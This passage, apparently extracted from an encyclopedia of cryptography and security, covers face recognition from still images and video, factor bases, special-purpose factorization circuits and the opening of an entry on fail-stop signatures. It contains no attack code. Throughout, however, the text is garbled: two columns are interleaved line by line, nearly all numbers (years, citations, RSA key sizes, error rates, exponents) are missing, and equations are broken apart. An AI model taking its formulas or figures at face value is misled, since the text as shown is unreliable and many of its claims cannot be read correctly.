roots of polynomials over that field. employed in cryptosystems based on the Elliptic Curve
Discrete Logarithm Problem. Number fields play a key
Theory role in algorithms for integer factoring (Number
Let F = (S, +, ) be a field and let f (x) be a monic Field Sieve for DLP and Number Field Sieve for
irreducible polynomial of degree d over F. That is, let Factoring).
F
compared to other biometrics such as fingerprint, iris, etc.
Face Recognition from Still Face recognition is concerned with identifying or verifying
Images and Video one or more persons from still images or video sequences
using a stored database of faces. Depending on the partic-
Soma Biswas , Rama Chellappa ular application, there can be different scenarios, ranging
from controlled still images to uncontrolled videos. Since
Department of Electrical and Computer Engineering,
Center for Automation Research, University of Maryland, face recognition is essentially the problem of recogniz-
College Park, MD, USA ing a D object from its D image or a video sequence,
it has to deal with significant appearance changes due to
Center for Automation Research, Department of
Electrical and Computer Engineering, University of illumination and pose variations. Current algorithms per-
Maryland, College Park, MD, USA form well in controlled scenarios, but their performance
is far from satisfactory in uncontrolled scenarios. Most of
the current research in this area is focused toward rec-
Related Concepts
ognizing faces in uncontrolled scenarios. This chapter is
Biometric Identification; Verification
broadly divided into two sections. The first section dis-
cusses the approaches proposed for recognizing faces from
Denition
still images and the second section deals with face recog-
Face recognition is concerned with identifying or verifying
nition from video sequences.
one or more persons from still images or video sequences
using a stored database of faces.
Still Image Face Recognition
This section discusses some of the early subspace and
Background feature-based approaches, followed by those which address
The earliest work on face recognition started as early as the problem of appearance change due to illumination
s in psychology and in the s in engineering, but variations and approaches that can handle both illumina-
research on automatic face recognition practically started tion and pose variations.
in the s after the seminal work of Kanade [] and
Kelly []. Early Approaches
Among the early subspace-based holistic approaches,
eigenfaces [] and Fisherfaces [, ] have proved to be
Application very effective for the task of face recognition. Since human
Face recognition has wide range of applications in many faces have similar overall configuration, the facial images
different areas ranging from law enforcement and surveil- can be described by a relatively low-dimensional subspace.
lance, information security to human-computer interac- Principal component analysis (PCA) [] has been used for
tion, virtual reality, and computer entertainment. finding those vectors which can best account for the dis-
tribution of facial images within the whole image space.
Introduction These vectors are eigenvectors of the covariance matrix
Face recognition with its wide range of commercial and law computed from the aligned face images in the training
enforcement applications has been one of the most active set and are thus known as eigenfaces. Given the eigen-
areas of research in the field of computer vision and pattern faces, every face in the gallery database is represented
recognition. Personal identification systems based on faces as a vector of weights obtained by projecting the image
have the advantage that facial images can be obtained from onto the eigenfaces using inner product operation. The
a distance without requiring cooperation of the subject, as identification of a new test image is done by locating
F Face Recognition from Still Images and Video
the image in the database whose weights are the closest to showed that given two images under different illumination
the weights obtained for the test image, by projecting onto conditions, there always exists a family of physically real-
the eigenfaces. izable objects which is consistent with both images. And
In contrast to PCA, linear discriminant analysis this ambiguity exists even under the hard constraints of
(LDA)/ Fisher linear discriminant (FLD) [][] utilizes the Lambertian reflectance and known light source directions.
available class information for performing face recogni- Suppose I and J be two images of different Lambertian
tion. LDA aims at finding an optimal projection of the objects, illuminated by two different known distant light
labeled data such that the ratio of the between-class scat- sources, l = (lx , ly , lz ) and k = (kx , ky , kz ), respectively. If px
ter and within-class scatter is maximized. For a C-class and qy denote the surface gradients and (x, y) denotes the
problem, where each class corresponds to one subject, the unknown albedo map, from the standard image irradiance
between and within-class scatter matrices Sw and Sb are equation,
given by (lx , ly , lz ) (px , qy , )
I(x, y) = (x, y)
C C
px + qy +
Sb = Ni (ui u)(ui u)T ; Sw = (xk ui )(x k ui )T
i= i= x k Xi (kx , ky , kz ) (px , qy , )
() J(x, y) = (x, y) ()
px + qy +
Here, ui denotes the mean image of the ith class Xi con-
It can be proved that given any arbitrary pair of images,
taining Ni number of samples and u is the mean of all
there exists a set of albedo and surface gradients that satis-
the classes. The optimal projection matrix W, which max-
fies both the above equations simultaneously [] and thus,
imizes W T Sb W/W T Sw W and the optimal projections
theoretically, it is not possible to determine if the two
vectors can be solved using the following generalized
images are from the same object or not. But this analy-
eigenvalue problem: Sb wi = i Sw wi , where i are the cor-
sis does not impose any constraint on the class of objects
responding eigenvalues. For classification, the test image
that is being considered. So though illumination-invariant
is first projected onto the subspace spanned by the com-
image matching is an ill-posed problem, for matching
puted projection vectors. The projection coefficients are
faces across illumination variations, different face-specific
then compared to all the stored vectors of labeled classes
information can be utilized to make the problem more
to determine the input class label.
tractable.
In addition to these subspace-based methods, feature-
Assuming that faces belong to the class of linear Lam-
based graph matching approaches have also been quite
bertian objects, Zhao et al. [] proposed an approach that is
successful for face recognition. Compared to the holis-
robust to illumination variations. For Lambertian objects,
tic approaches, feature-based methods are less sensitive
the diffused component of the reflectance is given by Lam-
to variations in illumination, viewpoint, face localization
berts law which relates the pixel intensity to the albedo,
accuracy, etc., but depend on reliable and accurate feature
shape of the surface point and the illumination direction
extraction techniques. One of the most successful methods
as follows
in this category is the elastic bunch graph matching []. T T
hi = (n )i s = ti s ()
In this approach, each facial landmark (like the pupils,
mouth corners, nose tip, etc) is associated with a local fea- By stacking the intensities of all the pixels, an image with d
ture representation called jet which consists of wavelet pixels can be expressed as
coefficients at different scales and rotations. A face is rep- hd = [h , h , ..., hd ]T = T d s ()
resented as a labeled graph, with the nodes located at these
facial landmarks. To account for the wide range of varia- Here the matrix T encodes the product of albedos and sur-
tions in the facial appearance, the representation is made face normals for all the pixels and is known as the object-
richer by attaching a representative set of jets to each land- specific albedo-shape matrix. Further, the linear property
mark (called the face bunch graph representation). For a leads to a rank constraint on the shape-albedo matrix. So
given test image, the corresponding image graph is com- if T can be represented as a linear combination of m basis
pared to all model graphs and the one having the highest T i s, that is T = f T + f T + + fm T m , the image can be
similarity is selected. expressed as
Face Recognition Across Illumination hd = [T , T , , T m ]( f I ).s = W dm [ f m s ]

Variations ()
The appearance of a facial image changes considerably Here, the matrix W encodes the albedo maps and surface
with variations in illumination conditions. Jacobs et al. [] normals for a class of objects and is called the class-specific
Face Recognition from Still Images and Video F
albedo-shape matrix. Given the input image, the combin- quite similar to each other as desired. The estimated albedo
ing coefficients f and the illumination s can be obtained maps can further be used to normalize the input images for
in an iterative manner. The coefficients f , which can recovering the shapes and to generate novel views of the
be thought of as the illumination-free identity vector, can subject under novel illumination conditions (Fig. ).
be used for face recognition across illumination variations.
Any real world object is characterized by its underly- Face Recognition Across Illumination and Pose
ing shape and surface properties. Unlike image intensity, Variations
these intrinsic characteristics of an object are insensitive to The wide variations in facial appearance due to the com-
changes in illumination conditions which make them use- bined effects of illumination and pose variations can be
ful for matching faces across illumination variations. In a accounted for by simulating the process of image forma-
recent approach [], an image estimation framework has tion. The main idea is to relate the input image with the
been proposed for robust estimation of the facial albedo actual D shape, albedo map, projection model, and inci-
for face recognition application. The basic intuition is that dent illumination. Using a D morphable model, Blanz
() F
if ni,j and s() be some initial values of the surface nor- and Vetter proposed such an approach [] to estimate the
mal and illuminant direction, the Lambertian assumption shape and texture from a single face image, which can then
imposes the following constraint on the initial albedo () be used for face recognition. The morphable face model is
obtained constructed such that the shape S and texture map T of a
() I i,j given face can be approximated by a linear combination of
i,j = () ()
ni,j s() shape and texture vectors Si and Ti of a set of D faces
N N
Here, n() can be the average facial surface normal com- S = i Si ; and T = i Ti ()
puted from a collection of D facial data. Clearly, the i= i=
inaccurate initial estimates of normals and light source Rendering an image involves mapping the D surface
direction result in errors in the initial albedo map. It can points to the image plane coordinates using a projection
be shown [] that this initial erroneous albedo map can model, and then determining the pixel intensities based
be written as a sum of the true albedo and a signal- on the illumination model and light sources. Given a test
dependent additive noise. This is a typical image estimation image, the shape and texture coefficients are determined
formulation and standard methods can be used to solve along with the other unknown parameters like pose angle,
for the true unknown albedo map which can be used as source direction, etc., so as to minimize the difference
an illumination-insensitive signature for face recognition between the true image and the reconstructed image. These
across illumination variations. Figure shows the albedo parameters are reasonably stable across illumination and
maps obtained from several images of a subject from pose variations and so can be utilized to determine the
the PIE dataset taken under different illumination condi- identity of the individual.
tions. The final albedo estimates do not seem to have the Another way to address the problem of face recog-
illumination effects present in the input images and appear nition across illumination and pose variations is to
10 10 10 10 10
Input image
20 20 20 20 20
30 30 30 30 30
40 40 40 40 40
20 40 20 40 20 40 20 40 20 40
Estimated albedo
10 10 10 10 10
20 20 20 20 20
30 30 30 30 30
40 40 40 40 40
20 40 20 40 20 40 20 40 20 40
Face Recognition from Still Images and Video. Fig. Albedo estimates (second row) obtained for several images of a subject
(rst row) from the PIE dataset (courtesy Biswas et al. [])
a b c d e f g h i j
Face Recognition from Still Images and Video. Fig. Novel view synthesis using estimated albedo maps and shape (a) Input
image (b) Estimated albedo (c) Recovered shape (dj) Synthesized views under novel illumination conditions (Courtesy Biswas
et al. [])
characterize the set of images of an object under all can be used to derive close-form linear transformations
possible combinations of pose and illumination. Recent relating the D harmonic basis images at different poses.
results have showed that an image of a Lambertian object So from just one set of basis images at a fixed pose, the
taken under any arbitrary illumination conditions can be basis images at any other pose can be synthesized analyti-
approximately represented as a linear combination of the cally. These basis images can in turn be used to synthesize
first nine spherical harmonic basis images [, ]. Given an novel views of the subject under arbitrary lighting condi-
input image, if these spherical harmonic basis images can tions. Given frontal gallery images for each subject, first
be estimated, then the database face for which there exists a the basis images are recovered using a statistical model [].
weighted combination of basis images that is the closest to For testing, the test image which can be under any pose and
the test face image determines the identity of the test image. illumination is wrapped to a frontal view using manually
Zhang and Samaras [] proposed an approach for estimat- established image correspondence between the test image
ing these basis images from a single input image. First, a and a mean frontal face image. This synthesized frontal
bootstrap set of basis images is used to build a statistical image can then be directly projected on the existing frontal
model for each of the spherical harmonic basis images. The view basis images of the gallery subjects. The gallery face
statistical models aim to learn the probability density func- for which there exists a linear combination of basis images
tion for the basis images assuming Gaussian distributions that is the closest to the input test face image is taken to
of unknown means and covariances. Given an input image, be the identity of the test image. Novel images of the cho-
these learned statistical models are used to compute the sen subject at the same pose as the test image can also be
maximum a posteriori (MAP) estimate of the basis images synthesized using the closed form linear transformation
that span the illumination space for the input subject. But between the harmonic basis images and then compared
in this approach, since the basis images are built from D with the test image for further validation. The pose of the
images, the statistical model need to be rebuilt for each test image is estimated from a few manually selected facial
pose for handling different poses. To overcome this limita- features.
tion, the statistical models can be built directly in D spaces In addition to these model-based approaches, another
by combining the spherical harmonic illumination repre- completely different approach based on soft attributes is
sentation and the D morphable model to recover basis gaining much popularity because of its robustness to vari-
images across both pose and illumination variations. ations in pose, illumination, expression, and other imaging
The spherical harmonics representation can also be conditions and impressive performance for large-scale face
used to encode pose information, in addition to modeling recognition application []. The main idea is that a facial
illumination variations []. The property that rotations of image can be described as, say, an Asian old male or a
spherical harmonic of any order can be linearly composed Caucasian girl. Based on this intuition, different binary
entirely of other spherical harmonics of the same order classifiers can be trained to recognize the presence or
absence of describable aspects of visual appearance or the temporal information that is also present in the video
attributes like gender, race, age, etc. For each face image, sequence.
different low-level features like image intensities, edge Several methods have been proposed for extract-
magnitudes, gradient directions, etc., are extracted for dif- ing more descriptive appearance models from videos for
ferent facial regions like eyes, nose, mouth, etc. This pro- recognition. A video sequence can be considered as a
duces a large number of possible low-level features, a subsequence of images sampled from an appearance manifold,
set of which is automatically chosen and used for each which contains all possible appearances of the subject [].
attribute classifier. Sometimes, an image may be more eas- The complex nonlinear appearance manifold of each sub-
ily described in terms of the similarity of different parts of ject can be viewed by a collection of submanifolds, where
their face to a limited set of reference subjects. For example, each submanifold models the face appearances of the per-
the eyes may be similar to those of one person, whereas the son in nearby poses. Each submanifold is in turn approx-
nose may be similar to some other person. In such cases, imated by a low-dimensional linear subspace, which can
simile classifiers can be trained, which learns the similar- be computed by PCA on training video sequences. Given a
ity of faces, or regions of faces, to specific reference people. video sequence, the temporal appearance variation is mod-
F
This approach has an added advantage of not requiring the eled as transitions between these subspaces and these can
manual labeling required for attribute classification. Two be learned directly from the training data. Further, the
faces can then be compared by comparing their trait vec- tracking problem can also be integrated into this frame-
tors. Both the approaches give very good performance on work by searching for a bounding-box on the test image
real-world images exhibiting significant variations in pose, that minimizes the distance of the cropped region to the
expression, hair-style, etc., without requiring any costly learnt appearance manifold. The recognition module uses
alignment between image pairs. the subimage returned by the tracker to compute its dis-
tance from the appearance manifold for each person and
Video-based Face Recognition a maximum likelihood estimate yields the recognition
Though face recognition research has traditionally con- result for each frame. This method is shown to be quite
centrated on recognition from still images, recently video- robust to large appearance changes if sufficient illumina-
based face recognition has also gained a lot of attention. tion and pose variations are available in the training video
Faces are essentially articulating D objects. For faces, sequences.
motion encodes far richer information than simply the D In a related work, Arandjelovic and Cipolla [] pro-
structure of the face in the form of behavioral cues such pose a Shape-Illumination manifold to describe the appear-
as idiosyncratic head movements and gestures, which can ance variations due to the combined effects of facial
potentially aid in recognition tasks. The video sequence shape and illumination. They consider a weak photometric
can also be utilized to obtain more effective representa- model of image formation in which the pixel intensity is a
tions like D face models or super-resolution images for linear function of the albedo (i) of the corresponding D
improving the recognition results. In fact, psychophys- point
ical studies [] have shown that humans tend to rely I(i) = (i) s(i) ()
more on dynamics than the structure under nonoptimal
viewing conditions such as low spatial resolution, harsh where s is a function of illumination, shape, and other
illumination conditions, etc. parameters which are not explicitly modeled. If I and I
One of the simplest ways to use the extra information be two images of the same person, in the same pose, but
present in a video sequence as compared to still images is different illuminations,
to fuse the results obtained by a D face classifier for each log I(i) = log s (i) log s (i) ()
frame of the sequence. Here, the video sequence is viewed
as an unordered set of images for both training and test- The difference between these logarithm-transformed
ing. During testing, each frame of the test video sequence images does not depend on the facial albedo and as the
independently votes for a particular identity for the test pose of the subject varies, it describes a manifold which
subject. Appropriate fusion techniques can then be applied is termed here as the Shape-Illumination manifold. They
to provide the final identity. Fusion can be performed at assume that the Shape-Illumination Manifold of all possi-
the score level where the matching scores obtained at each ble illuminations and head poses is generic for human faces
frame are combined to get the final score, or at the deci- and can be learnt effectively using Probabilistic PCA from
sion level where frame-level decisions are combined into a a small, unlabeled set of video sequences of faces taken
final decision. These approaches do not take advantage of in randomly varying lighting conditions. Given a novel
sequence, the learnt model is used to decompose the face low-dimensional space using PCA and then used as the
appearance manifold into albedo and shape-illumination observation. During recognition, the temporal character-
manifolds, producing the classification decision by robust istics of the test video sequence are analyzed over time by
likelihood estimation. the HMM corresponding to each subject. As done for the
Face recognition from video sequence involves both database sequences, all frames of the test video sequence
tracking the faces and then recognizing the tracked faces. are projected into the eigenspace and the resulting fea-
In the conventional tracking-then-recognition approach, ture vectors are used as observation vectors. Given the
where tracking and recognition is performed sequentially computed HMM of the database subjects, the likelihood
and separately, the criteria for selection of good frames, score of the observation vectors is computed and the high-
parameter estimation, etc., is often done in a heuristic est score provides the identity of the test video sequence.
manner. By effectively exploiting temporal information, Furthermore, with unsupervised learning, each HMM can
the tracking-and-recognition framework performs both be adapted with the test video sequence, which results in
the tasks simultaneously in a unified probabilistic frame- better modeling over time.
work []. To fuse temporal information, the time series
state space model is used to characterize the evolving kine-
matics and identity in the probe video. Depending on Open Problems
whether there is significant pose variation in the video The wide range of applications has made face recognition
sequence or not, D motion parameters or affine motion both from still images and video sequences very important
parameters can be used accordingly. The identity equation areas of research. Though significant efforts have gone into
governs the temporal evolution of the identity variable and understanding the different sources of variations affect-
assumes that the identity does not change as time proceeds. ing the facial appearance, the accuracy of face recogni-
The observation is assumed to be a transformed and noise- tion algorithms in completely uncontrolled scenarios is
corrupted version of some still template in the gallery. This still far from satisfactory. In the Face Recognition Grand
transformation could be either geometric or photometric Challenge [], it was observed that many algo-
or both. Using the sequential importance sampling (SIS) rithms perform almost flawlessly (verification rate of over
technique, the joint posterior distribution of the motion . for FAR of .) for images taken under controlled
vector and the identity variable is estimated at each time illumination, but the performance significantly deterio-
instant and then propagated to the next time instant using rates with uncontrolled query images (verification rate
the motion and identity equations. The marginal distri- of around . for FAR of .). Pose and illumination
bution of the identity variable is estimated to provide the variations still remain one of the biggest challenges for
recognition result. The still templates in the gallery can be face recognition. Most of the approaches that can han-
generalized to video sequences for video-to-video recog- dle noncanonical facial pose require manual labeling of
nition. Top row in Fig. a shows a few gallery images and several landmark locations in the face, which is an imped-
the bottom row shows a few frames from tracking results iment to realizing a completely automatic face recogni-
in a still-to-video recognition scenario where the gallery tion system. Another issue that needs to be addressed is
consists of still images and the probe is a video sequence. robustness to low resolution images. Standard face recog-
Figure b shows how the posterior probability of identity nition methods work well if the images or videos are of
of a person changes over time. The posterior probabil- high quality, but usually fail when enough resolution is
ity for the correct identity increases as time proceeds and not available. Other than these variations, a lot of work
eventually approaches , and all others go to . is needed to handle the other sources of variations like
The dynamic information present in the video sequence expressions, make-up, aging, etc. Face recognition from
can also be learnt and utilized for face recognition using video sequences is a relatively new research area as com-
a hidden Markov model (HMM) [, ]. A HMM is a pared to still image-based face recognition and there are
statistical model used to characterize the statistical prop- many unaddressed issues. The large amount of data that
erties of a signal and has been successfully applied to is being collected from surveillance cameras requires effi-
model temporal information for speech recognition, ges- cient methods for acquiring, preprocessing and analyzing
ture recognition, expression recognition, etc. Given the these video streams. Also, much work needs to be done
video sequences of the subjects in the gallery, the statistics to optimally use the dynamic information present in the
of training video sequences and the temporal dynam- video sequence for recognition. Another area of current
ics of each subject are learned by an HMM. For train- research is in generating secure face signatures, known as
ing, each frame in the video sequence is projected to cancelable biometrics []. Finally, ideas from studies on
1
0.9
Posterior probability p(n1lz0.1)

0.8
0.7
0.6
0.5
0.4
0.3
0.2
0.1
0
5 10 15 20 25 30 35 40
b Time t
1
0.9
F
Posterior probability p(n1lz0.1)

0.8
0.7
0.6
0.5
0.4
0.3
0.2
0.1
0
5 10 15 20 25 30 35 40
a c Time t
Face Recognition from Still Images and Video. Fig. (a) Top: D appearance models for the subjects in the gallery. Bottom: A few
images from a video sequence of a person walking. The face is being tracked and the tracked face is matched with the D appear-
ance models in the gallery for recognition. (b) Posterior probability of identity against time t, obtained by the CONDENSATION
algorithm and (c) the proposed algorithm (courtesy Zhou et al. [])
human perception of faces [] must be integrated in the photometric stereo, and illumination-invariant face recognition .
design of algorithms for face recognition. IEEE transactions on pattern analysis and machine intelligence
():
. Biswas S, Aggarwal G, Chellappa R () Robust estimation of
Recommended Reading albedo for illumination-invariant matching and shape recovery.
. Kanade T () Computer Recognition of Human Faces. IEEE transactions on pattern analysis and machine intelligence
Birkhauser, Basel and Stuttgart ():
. Kelly MD () Visual identification of people by computer. . Blanz V, Vetter T () Face recognition based on fitting a D
Technical Report AI-I, Stanford AI Project, Standard, CA morphable model. IEEE transactions on pattern analysis and
. Turk M, Pentland A () Eigenfaces for recognition. J Cogn machine intelligence ():
Neurosci (): . Basri R, Jacobs DW () Lambertian reflectance and linear
. Belhumeur PN, Hespanha JP, Kriegman DJ () Eigenfaces subspaces. IEEE transactions on pattern analysis and machine
vs. fisherfaces: recognition using class specific linear projection. intelligence ():
IEEE transactions on pattern analysis and machine intelligence . Ramamoorthi R, Hanrahan P () On the relationship
(): between radiance and irradiance: determining the illumination
. Etemad K, Chellappa R () Discriminant analysis for from images of convex Lambertian object. J Opt Soc Am A
recognition of human face images. J Opt Soc Am A ():
. Zhang L, Samaras D () Face recognition from a single train-
. Wiskott L, Fellous JM, Kruger N, Malsburg C () Face ing image under arbitrary unknown lighting using spherical
recognition by elastic bunch graphmatching. IEEE transac- harmonics. IEEE transactions on pattern analysis andmachine
tions on pattern analysis and machine intelligence (): intelligence ():
. Yue Z, Zhao W, Chellappa R () Pose-encoded spherical har-
. Jacobs DW, Belhumeur PN, Basri R () Comparing images monics for face recognition and synthesis using a single image.
under variable illumination. IEEE conference on computer EURASIP J Adv Signal Process
vision and pattern recognition . Kumar N, Berg AC, Belhumeur PN, Nayar SK () Attribute
. Zhou SK, Aggarwal G, Chellappa R, Jacobs DW () Appear- and simile classifiers for face verification. IEEE international
ance characterization of linear lambertian objects, generalized conference on computer vision
F Factor Base
. OToole AJ, Roark D, Abdi H () Recognizing moving faces: The choice of factor base and specifically the upper
a psychological and neural synthesis. Trends Cogn Sci : bound on the values in the factor base, called the smooth-
. Lee K, Ho J, Yang M, Kriegman DJ () Visual tracking and
ness bound plays a crucial role in the time and hardware
recognition using probabilistic appearance manifolds. Comp Vis
Image Und ():
requirements for these algorithms. For further discussion,
. Arandjelovic O, Cipolla R () Face recognition from video see smoothness.
using the generic shape-illuminationmanifold. Proceedings of
European conference on computer vision LNCS :
. Zhou S, Krueger V, Chellappa R () Probabilistic recognition
of human faces from video. Comp Vis Image Und (special issue Factorization Circuits
on Face Recognition) :
. Liu X, Cheng T () Video-based face recognition using adap-
tive hidden Markov models. IEEE proceedings of computer
Daniel J. Bernstein
vision and pattern recognition : Department of Computer Science, University of Illinois at
. Phillips PJ, Flynn PJ, Scruggs T, Bowyer KW, Worek W () Chicago, Chicago, Illinois, USA
Preliminary face recognition grand challenge results. Proc. sev-
enth intl conf. automatic face and gesture recognition
. Phillips PJ, Flynn PJ, Scruggs T, Bowyer KW, Worek W () Related Concepts
Preliminary face recognition grand challenge results. Proceed- Integer Factorization
ings of automatic face and gesture recognition
. Ratha NK, Chikkerur S, Connell JH, Bolle RM () Gen-
erating cancelable fingerprint templates. IEEE transactions on
Denition
pattern analysis and machine intelligence (): Factorization circuits are circuits specially designed to fac-
. Sinha P, Balas BJ, Ostrovsky Y, Russell R () Face recogni- tor integers.
tion by humans: results all computer vision researchers should
know about. Proceedings of the IEEE (): Theory and Applications
There is a long history of special-purpose machines built
for integer factorization, including the machine con-
gruences (Carissan, ), the bicycle chain sieve (Lehmer,
Factor Base ), the Georgia Cracker (Smith and Wagstaff, ),
CAIRN [], CAIRN [] and CAIRN []. There is
Burt Kaliski also a long history of designs that have been published at
Office of the CTO, EMC Corporation, Hopkinton various levels of detail but that have not been reported to
MA, USA have been built, including Quasimodo [], TWINKLE [],
a mesh-sieving circuit [], an ECM circuit [], TWIRL
[], and SHARK [].
Application-specific integrated electronic circuits are
Related Concepts
generally believed to be the most cost-effective current
Discrete Logarithm Problem; Function Field Sieve;
technology for large-scale well-funded cryptanalytic com-
Index Calculus Method; Number Field Sieve for the
putations. Almost all recent proposals are factorization-
DLP; Number Field Sieve for Factoring; Quadratic
specific very-large-scale integrated electronic circuits.
Sieve; Smoothness
TWINKLE is an exception, using optical components
together with electronic circuits, but does not appear to be
Denition more cost-effective than electronic circuits alone. CAIRN
A factor base is a set of values among which relations uses FPGAs to simulate factorization circuits.
are constructed in certain algorithms for solving number The basic advantage of factorization circuits, compared
theorybased problems. to general-purpose computers running factorization soft-
ware, is that circuits perform many more useful opera-
Applications tions in parallel. However, each operation has fast access
The term factor base refers to the set of small prime num- to only a very small amount of nearby storage; accessing
bers (and more generally, prime powers and irreducible large amounts of storage is relatively expensive. Optimiz-
polynomials) among which relations are constructed in ing the price-performance ratio (area-time product) of a
various integer factoring algorithms (Sieving) as well as circuit for integer factorization is not the same problem
in certain algorithms for solving the discrete logarithm as optimizing the number of bit operations. See generally
problem (Index Calculus). [, ].
Factorization Circuits F
The Georgia Cracker and Quasimodo use the . As of January , some Web sites such as https://
quadratic sieve (QS). TWINKLE, the ECM circuit, www.google.com are continuing to use -bit RSA, so
TWIRL, SHARK, and CAIRN use the number field sieve the exact cost of -bit factorization circuits remains of
(NFS). In both QS and NFS, the primary bottleneck is a interest in applied cryptography.
relation-finding stage: considering a very large collection
of small auxiliary integers and identifying the smooth
integers. A secondary bottleneck is a matrix stage: finding Recommended Reading
. Bernstein DJ () Circuits for integer factorization: a proposal.
linear relations in a matrix modulo .
URL: http://cr.yp.to/papers.html#nfscircuit
Factorization circuits vary primarily in how they take . Franke J, Kleinjung T, Paar C, Pelzl J, Priplata C, Stahlke C
advantage of parallelism for smoothness detection. The () Shark: a realizable special hardware sieving device for
asymptotic scalability of these techniques is indicated by factoring -bit integers. In: Rao JR, Sunar B (eds) Cryp-
the time they take on a circuit of area y+o() to recog- tographic hardware and embedded systems CHES , th
international workshop, Edinburgh, August September
nize y-smooth integers in a collection of y+o() auxiliary
integers. The Georgia Cracker, Quasimodo, and TWIN-
. Lecture notes in computer science, vol . Springer, pp F

KLE use parallel versions of trial division and take time . Izu T, Kogure J, Shimoyama T () CAIRN : an FPGA imple-
y+o() . General-purpose computers performing sieving mentation of the sieving step in the number field sieve method.
in RAM also take time y+o() . The mesh-sieving circuit In: Paillier P, Verbauwhede I (eds) Cryptographic hardware
and embedded systems CHES , th International work-
and TWIRL instead use parallel versions of sieving and
shop, Vienna, September . Lecture notes in computer
take time y.+o() . The ECM circuit and SHARK instead science, vol . Springer, pp
use the elliptic curve method and take time only y+o() . . Izu T, Kogure J, Shimoyama T () CAIRN: Dedicated inte-
Factorization circuits vary secondarily in how they ger factoring devices. In: International conference on network-
take advantage of parallelism for the matrix step. RAM based information systems, Takayama, pp
. Lenstra AK, Shamir A () Analysis and optimization of the
techniques take time y+o() on a circuit of area y+o()
TWINKLE factoring device. In: Preneel B (ed) Advances in
to find linear dependencies in a sparse matrix of size cryptology EUROCRYPT , international conference on
y+o() , while mesh techniques take time y.+o() for the the theory and application of cryptographic techniques, Bruges,
same task. May . Lecture notes in computer science, vol .
The priceperformance ratio for NFS is exp(( + Springer, pp
. Lenstra AK, Shamir A, Tomlinson J, Tromer E () Analysis
o())(log n)/ (log log n)/ ). Here n is the integer being
of Bernsteins factorization circuit. In: Zheng Y (ed) Advances in
factored, and is shown in the following table: cryptology ASIACRYPT , th international conference on
the theory and application of cryptology and information secu-
Smoothness Detection Matrix Parameters
rity, Queenstown, December . Lecture notes in computer
RAM sieving/TWINKLE RAM ops-optimized . . . . science, vol . Springer, pp
RAM sieving/TWINKLE RAM -optimized . . . . ( . Lenstra AK, Tromer E, Shamir A, Kortsmit W, Dodson B,
Pomerance)
Hughes J, Leyland PC () Factoring estimates for a -bit
mesh sieving/TWIRL RAM -optimized . . . . (
Bernstein) RSA modulus. In: Laih C-S (ed) Advances in cryptology ASI-
mesh sieving/TWIRL mesh -optimized . . . . ACRYPT , th international conference on the theory and
application of cryptology and information security, Taipei,
ECM RAM -optimized . . . .
November December . Lecture notes in computer science,
ECM mesh -optimized . . . . (
Bernstein) vol . Springer, pp
. Pomerance C, Smith JW, Tuler R () A pipeline architecture
for factoring large integers with the quadratic sieve algorithm.
Note that the overall cost of NFS is influenced much SIAM J Comput ():
more by smoothness-detection parallelism than by matrix . Shamir A, Tromer E () Factoring large numbers with
parallelism. Optimizing often requires reducing the the TWIRL device. In: Boneh D (ed) Advances in cryp-
tology CRYPTO , rd Annual international cryptol-
NFS smoothness bound, increasing the overall cost of
ogy conference, Santa Barbara, August , Proceed-
smoothness detection but decreasing the overall cost of the ings. Lecture notes in computer science, vol . Springer,
matrix step. pp
More detailed analyses, such as [, ], concluded that . Shimoyama T, Izu T, Kogure J () Implementing a siev-
-bit integers could be factored in a year by various cir- ing algorithm on a dynamic reconfigurable processor (extended
abstract). In: Special-purpose hardware for attacking crypto-
cuits with estimated costs between $ and $ . RSA Lab-
graphic systems SHARCS, Paris. http://www.hyperelliptic.
oratories and the US National Institute of Standards and org/tanja/SHARCS/talks/SHARCSpaper-shimoyama.pdf
Technology, citing these analyses, recommended switch- . Wiener MJ () The full cost of cryptanalytic attacks. J Cryptol
ing from -bit RSA to -bit RSA by the end of :
F Fail-Stop Signature
not produce, but which holds against the verifying algo-

Fail-Stop Signature rithm, then the signer can use an additional algorithm to
produce a proof of forgery. Any third party verifier can
Gerrit Bleumer then verify by means of an additional algorithm that the
Research and Development, Francotyp Group, proof of forgery is valid. The first efficient fail-stop signa-
Birkenwerder bei Berlin, Germany ture scheme was constructed by van Heijst, Pedersen, and
Pfitzmann [, , ].
Related Concepts Pedersen and Pfitzmann have shown that fail-stop sig-
Digital Signature; Forgery natures can be produced and verified about as efficiently
as ordinary digital signatures, but that the length of the
Denition signers private signing key is proportional to the num-
Fail-stop signatures are digital signatures where signers ber of messages that can be signed with it []. How-
enjoy unconditional unforgeability (with an unavoidable ever, signers need not store complete long signing keys at
but negligible error probability), while the verifiers bear any one time, but can generate random bits for them on
the risk of forged signatures and therefore enjoy com- demand.
putational security only. If a signer is confronted with Fail-stop signatures have been proposed to be used
an alleged signature that she has not produced, then the in electronic cash schemes such that customers need
signer can with overwhelming probability prove that the not bear the risk of very powerful banks forging some of
alleged signature is in fact forged. Afterward, the signer can their customers signatures. Although this may appear far
revoke her verifying key, thus the name fail-stop signature fetched for the case of general customers, it may be a neces-
scheme. sary condition to open the door for processing high-value
transactions (millions of dollars) fully electronically.
Background A fail-stop signature scheme has the following oper-
Fail-stop signatures were introduced by Pfitzmann [] who ations: () an operation for generating pairs of a private
gives an in-depth introduction in []. The security for signing key and a public verifying key for an individual,
the signer is strictly stronger than the strongest security () an operation to produce fail-stop signatures, () an
defined by Goldwasser, Micali, and Rivest (GMR sig- operation to verify fail-stop signatures, () an operation to
natures []), where signers enjoy computational security, produce proofs of forgery, and () an operation to verify
while verifiers are unconditionally secure against forgery. proofs of forgery.
In other words, the signer is secure even against counter- The characteristic security requirements of a fail-stop
feiting by a computationally unrestricted attacker. In the signature scheme are:
same sense, fail-stop signatures provide strictly stronger
security for the signer than all the standard digital sig- Unforgeability (Recipients Security): resistance against
nature schemes such as RSA digital signatures, Rabin existential forgery under adaptive chosen message
digital signatures, ElGamal digital signatures, Schnorr attacks by computationally restricted attackers.
digital signatures, Digital Signature Algorithm (DSA), Nonrepudiation: a computationally restricted signer
elliptic curve signature schemes (ECDSA), etc. A com- cannot produce a fail-stop signature that he can later
parative overview is found in []. Fail-stop signatures prove to be a forged signature.
are more fundamental than ordinary digital signatures Signers Security: if a computationally unlimited attacker
because the latter can be constructed from the former, but fabricates a signature, the alleged signer can pro-
not vice versa []. duce a valid proof of forgery with overwhelming
probability.
Theory
In a fail-stop signature scheme, each signing member has Constructions have been based on groups, in which
an individual signing key pair of a private signing key and the discrete logarithm problem is hard [, , ],
a public verifying key (public key cryptography). The on the RSA digital signature scheme [], and on
verifying algorithm takes the signers public verifying key, authentication codes [].
